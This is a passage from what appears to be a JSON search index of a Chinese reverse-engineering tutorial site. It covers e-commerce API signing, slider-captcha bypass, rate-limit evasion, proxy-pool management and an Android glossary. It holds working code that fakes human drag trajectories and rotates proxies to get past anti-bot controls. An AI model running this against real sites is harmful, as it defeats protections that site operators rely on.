'\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) # 加盐 sign_str = param_str + '\u0026key=my_secret_key_2023' # MD5 return hashlib.md5(sign_str.encode()).hexdigest() # 使用 params = { 'q': 'iPhone', 'page': 1, 'timestamp': int(time.time()) } params['sign'] = generate_sign(params) # 发送请求 import requests response = requests.get('https://example.com/api/search', params=params) print(response.json()) ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:3:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#3-python-实现-1"},{"categories":null,"collections":null,"content":"案例三：滑块验证码 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:4:0","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#案例三滑块验证码"},{"categories":null,"collections":null,"content":"背景 登录时出现滑块验证码，需要拖动滑块到指定位置。 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:4:1","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#背景-2"},{"categories":null,"collections":null,"content":"逆向思路 1. 轨迹生成 真实用户拖动滑块时，轨迹是不规则的（有加速、减速、抖动）。 简单的线性轨迹: def generate_track(distance): track = [] current = 0 while current \u003c distance: step = min(5, distance - current) # 每次移动 5px track.append(step) current += step return track 模拟真实轨迹 (更高级): import random def generate_realistic_track(distance): track = [] current = 0 mid = distance * 0.8 # 80% 处开始减速 while current \u003c distance: if current \u003c mid: # 加速阶段 step = random.randint(5, 10) else: # 减速阶段 step = random.randint(2, 5) if current + step \u003e distance: step = distance - current track.append(step) current += step # 随机抖动 if random.random() \u003c 0.2: track.append(-random.randint(1, 2)) current -= track[-1] return track 2. Selenium 模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By import time driver = webdriver.Chrome() driver.get('https://example.com/login') # 等待滑块加载 slider = driver.find_element(By.CLASS_NAME, 'slider-button') # 生成轨迹 distance = 260 # 需要移动的距离（像素） track = generate_realistic_track(distance) # 执行拖动 ActionChains(driver).click_and_hold(slider).perform() for step in track: ActionChains(driver).move_by_offset(step, 0).perform() time.sleep(random.uniform(0.001, 0.003)) # 模拟人类延迟 ActionChains(driver).release().perform() ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:4:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#逆向思路"},{"categories":null,"collections":null,"content":"逆向思路 1. 轨迹生成 真实用户拖动滑块时，轨迹是不规则的（有加速、减速、抖动）。 简单的线性轨迹: def generate_track(distance): track = [] current = 0 while current \u003c distance: step = min(5, distance - current) # 每次移动 5px track.append(step) current += step return track 模拟真实轨迹 (更高级): import random def generate_realistic_track(distance): track = [] current = 0 mid = distance * 0.8 # 80% 处开始减速 while current \u003c distance: if current \u003c mid: # 加速阶段 step = random.randint(5, 10) else: # 减速阶段 step = random.randint(2, 5) if current + step \u003e distance: step = distance - current track.append(step) current += step # 随机抖动 if random.random() \u003c 0.2: track.append(-random.randint(1, 2)) current -= track[-1] return track 2. Selenium 模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By import time driver = webdriver.Chrome() driver.get('https://example.com/login') # 等待滑块加载 slider = driver.find_element(By.CLASS_NAME, 'slider-button') # 生成轨迹 distance = 260 # 需要移动的距离（像素） track = generate_realistic_track(distance) # 执行拖动 ActionChains(driver).click_and_hold(slider).perform() for step in track: ActionChains(driver).move_by_offset(step, 0).perform() time.sleep(random.uniform(0.001, 0.003)) # 模拟人类延迟 ActionChains(driver).release().perform() ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:4:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#1-轨迹生成"},{"categories":null,"collections":null,"content":"逆向思路 1. 轨迹生成 真实用户拖动滑块时，轨迹是不规则的（有加速、减速、抖动）。 简单的线性轨迹: def generate_track(distance): track = [] current = 0 while current \u003c distance: step = min(5, distance - current) # 每次移动 5px track.append(step) current += step return track 模拟真实轨迹 (更高级): import random def generate_realistic_track(distance): track = [] current = 0 mid = distance * 0.8 # 80% 处开始减速 while current \u003c distance: if current \u003c mid: # 加速阶段 step = random.randint(5, 10) else: # 减速阶段 step = random.randint(2, 5) if current + step \u003e distance: step = distance - current track.append(step) current += step # 随机抖动 if random.random() \u003c 0.2: track.append(-random.randint(1, 2)) current -= track[-1] return track 2. Selenium 模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By import time driver = webdriver.Chrome() driver.get('https://example.com/login') # 等待滑块加载 slider = driver.find_element(By.CLASS_NAME, 'slider-button') # 生成轨迹 distance = 260 # 需要移动的距离（像素） track = generate_realistic_track(distance) # 执行拖动 ActionChains(driver).click_and_hold(slider).perform() for step in track: ActionChains(driver).move_by_offset(step, 0).perform() time.sleep(random.uniform(0.001, 0.003)) # 模拟人类延迟 ActionChains(driver).release().perform() ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:4:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#2-selenium-模拟"},{"categories":null,"collections":null,"content":"案例四：限流与反爬 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:5:0","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#案例四限流与反爬"},{"categories":null,"collections":null,"content":"背景 频繁请求会触发限流： 单 IP 每分钟最多 60 次请求 超过后返回 429 Too Many Requests ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:5:1","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#背景-3"},{"categories":null,"collections":null,"content":"绕过策略 1. 降低请求频率 import time for page in range(1, 100): response = requests.get(f'https://example.com/api/products?page={page}') print(response.json()) # 休眠 1-3 秒 time.sleep(random.uniform(1, 3)) 2. 使用代理池 proxies_list = [ {'http': 'http://proxy1:port'}, {'http': 'http://proxy2:port'}, # ... ] for page in range(1, 100): proxy = random.choice(proxies_list) response = requests.get( f'https://example.com/api/products?page={page}', proxies=proxy ) 3. 分布式爬取 使用 Scrapy + Redis 实现分布式： 多台服务器同时爬取 Redis 存储任务队列和去重 每台服务器独立 IP ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:5:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#绕过策略"},{"categories":null,"collections":null,"content":"绕过策略 1. 降低请求频率 import time for page in range(1, 100): response = requests.get(f'https://example.com/api/products?page={page}') print(response.json()) # 休眠 1-3 秒 time.sleep(random.uniform(1, 3)) 2. 使用代理池 proxies_list = [ {'http': 'http://proxy1:port'}, {'http': 'http://proxy2:port'}, # ... ] for page in range(1, 100): proxy = random.choice(proxies_list) response = requests.get( f'https://example.com/api/products?page={page}', proxies=proxy ) 3. 分布式爬取 使用 Scrapy + Redis 实现分布式： 多台服务器同时爬取 Redis 存储任务队列和去重 每台服务器独立 IP ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:5:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#1-降低请求频率"},{"categories":null,"collections":null,"content":"绕过策略 1. 降低请求频率 import time for page in range(1, 100): response = requests.get(f'https://example.com/api/products?page={page}') print(response.json()) # 休眠 1-3 秒 time.sleep(random.uniform(1, 3)) 2. 使用代理池 proxies_list = [ {'http': 'http://proxy1:port'}, {'http': 'http://proxy2:port'}, # ... ] for page in range(1, 100): proxy = random.choice(proxies_list) response = requests.get( f'https://example.com/api/products?page={page}', proxies=proxy ) 3. 分布式爬取 使用 Scrapy + Redis 实现分布式： 多台服务器同时爬取 Redis 存储任务队列和去重 每台服务器独立 IP ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:5:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#2-使用代理池"},{"categories":null,"collections":null,"content":"绕过策略 1. 降低请求频率 import time for page in range(1, 100): response = requests.get(f'https://example.com/api/products?page={page}') print(response.json()) # 休眠 1-3 秒 time.sleep(random.uniform(1, 3)) 2. 使用代理池 proxies_list = [ {'http': 'http://proxy1:port'}, {'http': 'http://proxy2:port'}, # ... ] for page in range(1, 100): proxy = random.choice(proxies_list) response = requests.get( f'https://example.com/api/products?page={page}', proxies=proxy ) 3. 分布式爬取 使用 Scrapy + Redis 实现分布式： 多台服务器同时爬取 Redis 存储任务队列和去重 每台服务器独立 IP ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:5:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#3-分布式爬取"},{"categories":null,"collections":null,"content":"总结 电商网站逆向的核心挑战： 加密算法: 价格、库存等敏感数据加密 API 签名: 防止参数篡改 验证码: 滑块、点选、行为验证 限流: IP 封禁、频率限制 应对策略: 静态分析 + 动态调试定位加密逻辑 Hook 关键函数验证算法 使用代理池、降低频率避免封禁 Selenium/Puppeteer 应对复杂验证码 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:6:0","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#总结"},{"categories":null,"collections":null,"content":"相关章节 API 接口逆向 JavaScript 反混淆 验证码识别与绕过 代理池管理 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:7:0","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#相关章节"},{"categories":null,"collections":null,"content":"代理池管理 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:0:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#代理池管理"},{"categories":null,"collections":null,"content":"概述 代理池是分布式爬虫的核心组件之一，用于突破 IP 限制和反爬虫检测。本章介绍代理池的构建、管理和优化策略。 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:1:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#概述"},{"categories":null,"collections":null,"content":"代理类型 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:2:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#代理类型"},{"categories":null,"collections":null,"content":"1. HTTP/HTTPS 代理 最常见的代理类型。 proxies = { 'http': 'http://proxy_ip:port', 'https': 'https://proxy_ip:port' } response = requests.get(url, proxies=proxies) ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:2:1","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#1-httphttps-代理"},{"categories":null,"collections":null,"content":"2. SOCKS 代理 支持更多协议，性能更好。 # 需要安装 requests[socks] proxies = { 'http': 'socks5://proxy_ip:port', 'https': 'socks5://proxy_ip:port' } ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:2:2","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#2-socks-代理"},{"categories":null,"collections":null,"content":"3. 代理分类 按匿名性: 透明代理: 目标服务器能看到真实 IP 匿名代理: 隐藏真实 IP，但暴露代理特征 高匿代理: 完全隐藏，无代理特征 按来源: 免费代理: 不稳定，速度慢 付费代理: 稳定，速度快 住宅代理: 真实家庭 IP，质量最高 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:2:3","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#3-代理分类"},{"categories":null,"collections":null,"content":"代理池架构 ┌──────────────────────────────────┐ │ Proxy Fetcher │ │ - 从多个源获取代理 │ │ - 免费代理网站 │ │ - 付费代理 API │ └──────────┬───────────────────────┘ │ ▼ ┌──────────────────────────────────┐ │ Proxy Validator │ │ - 验证代理有效性 │ │ - 测试响应时间 │ │ - 检查匿名性 │ └──────────┬───────────────────────┘ │ ▼ ┌──────────────────────────────────┐ │ Redis Storage │ │ - 可用代理池 │ │ - 代理评分 │ │ - 使用统计 │ └──────────┬───────────────────────┘ │ ▼ ┌──────────────────────────────────┐ │ Proxy Scheduler │ │ - 智能分配代理 │ │ - 失败重试 │ │ - 动态调整 │ └──────────────────────────────────┘ ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:3:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#代理池架构"},{"categories":null,"collections":null,"content":"完整实现 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:4:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#完整实现"},{"categories":null,"collections":null,"content":"代理池类 import requests import redis import time from typing import List import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) class ProxyPool: def __init__(self): self.r = redis.Redis(host='localhost', port=6379, decode_responses=True) self.test_url = 'http://httpbin.org/ip' self.timeout = 5 def fetch_proxies(self) -\u003e List[str]: \"\"\"从多个源获取代理\"\"\" proxies = [] proxies.extend(self._fetch_from_free_proxy()) proxies.extend(self._fetch_from_paid_api()) return list(set(proxies)) def _fetch_from_free_proxy(self) -\u003e List[str]: \"\"\"从免费代理网站获取\"\"\" proxies = [] try: response = requests.get('https://www.kuaidaili.com/free/', timeout=10) # 解析页面，提取代理 except Exception as e: logger.error(f'Fetch free proxy failed: {e}') return proxies def _fetch_from_paid_api(self) -\u003e List[str]: \"\"\"从付费 API 获取\"\"\" proxies = [] try: response = requests.get('http://api.proxy.com/get?num=100', timeout=10) data = response.json() proxies = [f\"{item['ip']}:{item['port']}\" for item in data] except Exception as e: logger.error(f'Fetch paid proxy failed: {e}') return proxies def validate_proxy(self, proxy: str) -\u003e bool: \"\"\"验证代理可用性\"\"\" proxies = { 'http': f'http://{proxy}', 'https': f'http://{proxy}' } try: start_time = time.time() response = requests.get( self.test_url, proxies=proxies, timeout=self.timeout ) response_time = time.time() - start_time if response.status_code == 200: self.r.zadd('proxy_pool', {proxy: response_time}) logger.info(f'Valid proxy: {proxy} ({response_time:.2f}s)') return True except: pass return False def batch_validate(self, proxies: List[str]): \"\"\"批量验证代理\"\"\" from concurrent.futures import ThreadPoolExecutor with ThreadPoolExecutor(max_workers=50) as executor: executor.map(self.validate_proxy, proxies) def get_proxy(self) -\u003e str: \"\"\"获取最快的代理\"\"\" result = self.r.zrange('proxy_pool', 0, 0) if result: return result[0] return None def get_random_proxy(self) -\u003e str: \"\"\"随机获取代理\"\"\" import random proxies = self.r.zrange('proxy_pool', 0, -1) if proxies: return random.choice(proxies) return None def remove_proxy(self, proxy: str): \"\"\"移除失效代理\"\"\" self.r.zrem('proxy_pool', proxy) logger.info(f'Removed proxy: {proxy}') def get_pool_size(self) -\u003e int: \"\"\"获取代理池大小\"\"\" return self.r.zcard('proxy_pool') def run(self): \"\"\"运行代理池\"\"\" logger.info('Starting proxy pool...') while True: logger.info('Fetching proxies...') proxies = self.fetch_proxies() logger.info(f'Fetched {len(proxies)} proxies') logger.info('Validating proxies...') self.batch_validate(proxies) self.cleanup_old_proxies() pool_size = self.get_pool_size() logger.info(f'Current pool size: {pool_size}') time.sleep(300) def cleanup_old_proxies(self): \"\"\"清理响应时间过长的代理\"\"\" self.r.zremrangebyscore('proxy_pool', 10, float('inf')) ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:4:1","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#代理池类"},{"categories":null,"collections":null,"content":"使用代理池 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:5:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#使用代理池"},{"categories":null,"collections":null,"content":"基本使用 def crawl_with_proxy(url): \"\"\"使用代理爬取\"\"\" pool = ProxyPool() max_retries = 3 for i in range(max_retries): proxy = pool.get_proxy() if not proxy: logger.error('No available proxy!') break proxies = { 'http': f'http://{proxy}', 'https': f'http://{proxy}' } try: response = requests.get(url, proxies=proxies, timeout=10) return response except Exception as e: logger.warning(f'Proxy {proxy} failed: {e}') pool.remove_proxy(proxy) return None ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:5:1","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#基本使用"},{"categories":null,"collections":null,"content":"与 Scrapy 集成 # middlewares.py class ProxyMiddleware: def __init__(self): self.pool = ProxyPool() def process_request(self, request, spider): \"\"\"为请求设置代理\"\"\" proxy = self.pool.get_proxy() if proxy: request.meta['proxy'] = f'http://{proxy}' spider.logger.info(f'Using proxy: {proxy}') def process_exception(self, request, exception, spider): \"\"\"处理代理失败\"\"\" proxy = request.meta.get('proxy', '').replace('http://', '') if proxy: self.pool.remove_proxy(proxy) spider.logger.warning(f'Removed failed proxy: {proxy}') ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:5:2","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#与-scrapy-集成"},{"categories":null,"collections":null,"content":"付费代理服务 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:6:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#付费代理服务"},{"categories":null,"collections":null,"content":"推荐服务商 服务商 类型 价格 特点 Luminati (Bright Data) 住宅代理 $500+/月 质量最高，IP 池最大 Smartproxy 住宅代理 $75+/月 性价比高 Oxylabs 数据中心 + 住宅 $300+/月 稳定可靠 ProxyMesh 数据中心 $10+/月 便宜入门 站大爷 数据中心 ¥100+/月 国内服务 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:6:1","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#推荐服务商"},{"categories":null,"collections":null,"content":"API 集成示例 class LuminatiProxy: def __init__(self, username, password, port=22225): self.username = username self.password = password self.host = 'zproxy.lum-superproxy.io' self.port = port def get_proxy(self, country='us', session_id=None): \"\"\"获取代理\"\"\" if session_id: username = f'{self.username}-country-{country}-session-{session_id}' else: username = f'{self.username}-country-{country}' proxy = f'http://{username}:{self.password}@{self.host}:{self.port}' return {'http': proxy, 'https': proxy} # 使用 proxy_provider = LuminatiProxy('your_username', 'your_password') proxies = proxy_provider.get_proxy(country='us', session_id='12345') response = requests.get(url, proxies=proxies) ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:6:2","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#api-集成示例"},{"categories":null,"collections":null,"content":"监控与统计 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:7:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#监控与统计"},{"categories":null,"collections":null,"content":"代理质量评分 class ProxyScorer: def __init__(self): self.r = redis.Redis(decode_responses=True) def record_success(self, proxy): \"\"\"记录成功\"\"\" self.r.hincrby(f'proxy:{proxy}', 'success', 1) self.update_score(proxy) def record_failure(self, proxy): \"\"\"记录失败\"\"\" self.r.hincrby(f'proxy:{proxy}', 'failure', 1) self.update_score(proxy) def update_score(self, proxy): \"\"\"更新评分\"\"\" success = int(self.r.hget(f'proxy:{proxy}', 'success') or 0) failure = int(self.r.hget(f'proxy:{proxy}', 'failure') or 0) total = success + failure if total \u003e 0: score = success / total self.r.hset(f'proxy:{proxy}', 'score', score) def get_best_proxies(self, count=10): \"\"\"获取评分最高的代理\"\"\" all_proxies = self.r.keys('proxy:*') scored_proxies = [] for key in all_proxies: proxy = key.replace('proxy:', '') score = float(self.r.hget(key, 'score') or 0) scored_proxies.append((proxy, score)) scored_proxies.sort(key=lambda x: x[1], reverse=True) return scored_proxies[:count] ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:7:1","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#代理质量评分"},{"categories":null,"collections":null,"content":"最佳实践 定期验证: 每 5-10 分钟验证一次代理池 快速失败: 设置合理的超时时间（3-5 秒） 评分系统: 根据成功率动态调整代理权重 混合使用: 免费代理 + 付费代理组合 地域分配: 根据目标网站选择对应地区代理 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:8:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#最佳实践"},{"categories":null,"collections":null,"content":"相关章节 分布式爬虫架构 反爬虫技术深度分析 监控与告警系统 ","date":"2025-08-29","objectID":"/reverse_engineering/web/06-engineering/proxy_pool_management/:9:0","tags":["Web","代理池","工程实践","分布式","IDA Pro","部署"],"title":"代理池管理","uri":"/reverse_engineering/web/06-engineering/proxy_pool_management/#相关章节"},{"categories":null,"collections":null,"content":"术语表 (Glossary) 收集了 Android 逆向工程中常见的术语和缩写，按类别整理为表格形式，便于快速查阅。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:0:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#术语表-glossary"},{"categories":null,"collections":null,"content":"1. 逆向工程基础 (Reverse Engineering Fundamentals) 逆向工程领域的核心概念与通用术语。 中文名称 英文名称 说明 逆向工程 Reverse Engineering (RE) 通过分析软件的二进制代码来理解其功能、逻辑和结构的过程，通常在没有源代码的情况下进行。 反汇编 Disassembly 将机器码（二进制）翻译回汇编语言的过程，是逆向分析的基础步骤。 反编译 Decompilation 将低级代码（机器码或字节码）还原为高级语言（如 Java、C）的过程，结果是伪代码或近似源代码。 静态分析 Static Analysis 在不运行程序的情况下，通过检查其代码、结构和资源来理解程序行为的技术。 动态分析 Dynamic Analysis 在程序运行时对其进行监视、调试和分析的技术，通常涉及调试器、Hook 等工具。 二进制分析 Binary Analysis 对编译后的二进制文件进行检查和分析，包括结构解析、控制流分析、漏洞挖掘等。 调试 Debugging 使用调试器逐步执行程序，观察其内部状态（寄存器、内存、变量）以定位问题或理解逻辑。 断点 Breakpoint 调试时设置的暂停点，当程序执行到该位置时会中断，允许检查当前状态。 符号表 Symbol Table 二进制文件中保存的函数名、变量名等调试信息，去除符号表（strip）会增加逆向难度。 控制流图 Control Flow Graph (CFG) 以图形方式表示程序中所有可能执行路径的结构，用于理解程序逻辑。 调用图 Call Graph 表示程序中函数之间调用关系的有向图，有助于理解程序的整体架构。 交叉引用 Cross-Reference (Xref) 在反汇编工具中，跟踪某个函数或数据被哪些位置引用，是逆向分析的重要手段。 补丁 Patch 对二进制文件进行修改，用于绕过检测、修改逻辑或修复漏洞。 签名匹配 Signature Matching 通过已知的字节序列模式识别特定的函数、库或恶意代码的技术。 沙箱 Sandbox 一种隔离的执行环境，用于安全地运行和分析可疑程序而不影响主系统。 污点分析 Taint Analysis 追踪数据在程序中的传播路径，标记受外部输入影响的数据以发现潜在安全问题。 指令集架构 Instruction Set Architecture (ISA) 处理器支持的机器指令的集合，如 ARM、x86、MIPS 等。 精简指令集 RISC (Reduced Instruction Set Computer) 一种处理器设计理念，使用较少且简单的指令，ARM 处理器即采用此架构。 复杂指令集 CISC (Complex Instruction Set Computer) 一种处理器设计理念，使用较多且复杂的指令，x86 处理器即采用此架构。 可执行与可链接格式 ELF (Executable and Linkable Format) Linux/Android Native 层使用的标准二进制文件格式，包含代码段、数据段、符号表等。 程序入口点 Entry Point 程序开始执行的第一条指令的地址，通常在 ELF 文件头中指定。 重定位 Relocation 将程序中的符号引用绑定到实际内存地址的过程，发生在链接或加载阶段。 动态链接库 Shared Object (SO) Linux/Android 下的共享库文件（.so），包含可被多个程序共享的代码和数据。 过程链接表 PLT (Procedure Linkage Table) ELF 文件中用于延迟绑定外部函数的跳转表，调用外部函数时先经过 PLT。 全局偏移表 GOT (Global Offset Table) ELF 文件中存储外部符号实际地址的表，PLT 通过 GOT 来间接调用外部函数。 寄存器 Register CPU 内部的高速存储单元，用于临时保存数据和指令地址，ARM 架构有 R0-R15（32位）和 X0-X30（64位）等。 栈 Stack 后进先出的内存结构，用于保存函数调用的返回地址、局部变量和参数，栈溢出是常见的安全漏洞。 堆 Heap 用于动态内存分配的内存区域，malloc/free（C）或 new/delete（C++）操作的内存来自堆。 操作码 Opcode 机器指令中指定要执行的操作类型的部分，反汇编器将操作码翻译为人类可读的助记符。 字节序 Endianness 多字节数据在内存中的存储顺序，分为大端序（Big-Endian）和小端序（Little-Endian），ARM 通常使用小端序。 地址空间布局随机化 ASLR (Address Space Layout Randomization) 随机化进程内存布局（代码段、栈、堆等地址）的安全机制，增加漏洞利用的难度。 位置无关代码 PIC (Position Independent Code) 不依赖固定内存地址即可正确执行的代码，共享库通常编译为 PIC 以支持 ASLR。 反汇编器 Disassembler 将机器码翻译为汇编语言的工具，如 IDA Pro、Ghidra 中的反汇编引擎。 反编译器 Decompiler 将低级代码还原为高级语言的工具，如 Hex-Rays（C/C++）、JADX（Java）。 十六进制编辑器 Hex Editor 以十六进制格式查看和编辑二进制文件的工具，可直接修改文件中的任意字节。 数据流分析 Data Flow Analysis 追踪数据在程序中如何产生、传播和使用的分析方法，帮助理解变量赋值和函数参数传递。 逆向工程师 Reverse Engineer 专门从事逆向分析的技术人员，需掌握汇编语言、操作系统原理、密码学等多领域知识。 二进制差异分析 Binary Diffing 比较同一软件不同版本的二进制文件以发现修改内容的技术，常用于分析安全补丁修复了什么漏洞。 脱壳器/解包器 Unpacker 自动或半自动地从加壳/加固程序中还原出原始代码的工具或脚本。 虚拟地址 Virtual Address (VA) 进程看到的内存地址，由操作系统的虚拟内存机制映射到物理地址，每个进程拥有独立的虚拟地址空间。 相对虚拟地址 RVA (Relative Virtual Address) 相对于模块加载基址的偏移量，在分析 ELF/PE 文件时常需在 RVA 和文件偏移之间转换。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:1:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#1-逆向工程基础-reverse-engineering-fundamentals"},{"categories":null,"collections":null,"content":"2. Android 平台 (Android Platform) Android 系统架构、运行时、组件和开发相关的术语。 中文名称 英文名称 说明 Android 运行时 ART (Android Runtime) Android 5.0 引入的应用运行时环境，使用 AOT 编译技术将字节码预编译为机器码，完全取代了 Dalvik。 Dalvik 虚拟机 Dalvik VM Google 早期为 Android 设计的虚拟机，使用 JIT（即时编译）技术，在 Android 5.0 后被 ART 取代。 DEX 文件 DEX (Dalvik Executable) Android 平台的可执行字节码文件格式，APK 中的 classes.dex 包含应用的所有 Java/Kotlin 编译后的代码。 多 DEX MultiDex 当应用方法数超过 65536 限制时，将代码拆分为多个 DEX 文件（classes.dex、classes2.dex 等）的机制。 OAT 文件 OAT (Of Ahead-of-Time) ART 运行时使用的私有 ELF 格式文件，包含 AOT 编译后的机器码及原始 DEX 数据。 ODEX 文件 ODEX (Optimized DEX) 经过优化的 DEX 文件，系统在安装或首次运行时生成，以提高加载速度。 VDEX 文件 VDEX (Verified DEX) Android 8.0 引入的文件格式，包含经过验证的 DEX 文件，用于加速启动和更新流程。 Smali Smali Dalvik 字节码的人类可读汇编语言表示，可直接修改后重新打包，是 Android 逆向的重要中间格式。 Baksmali 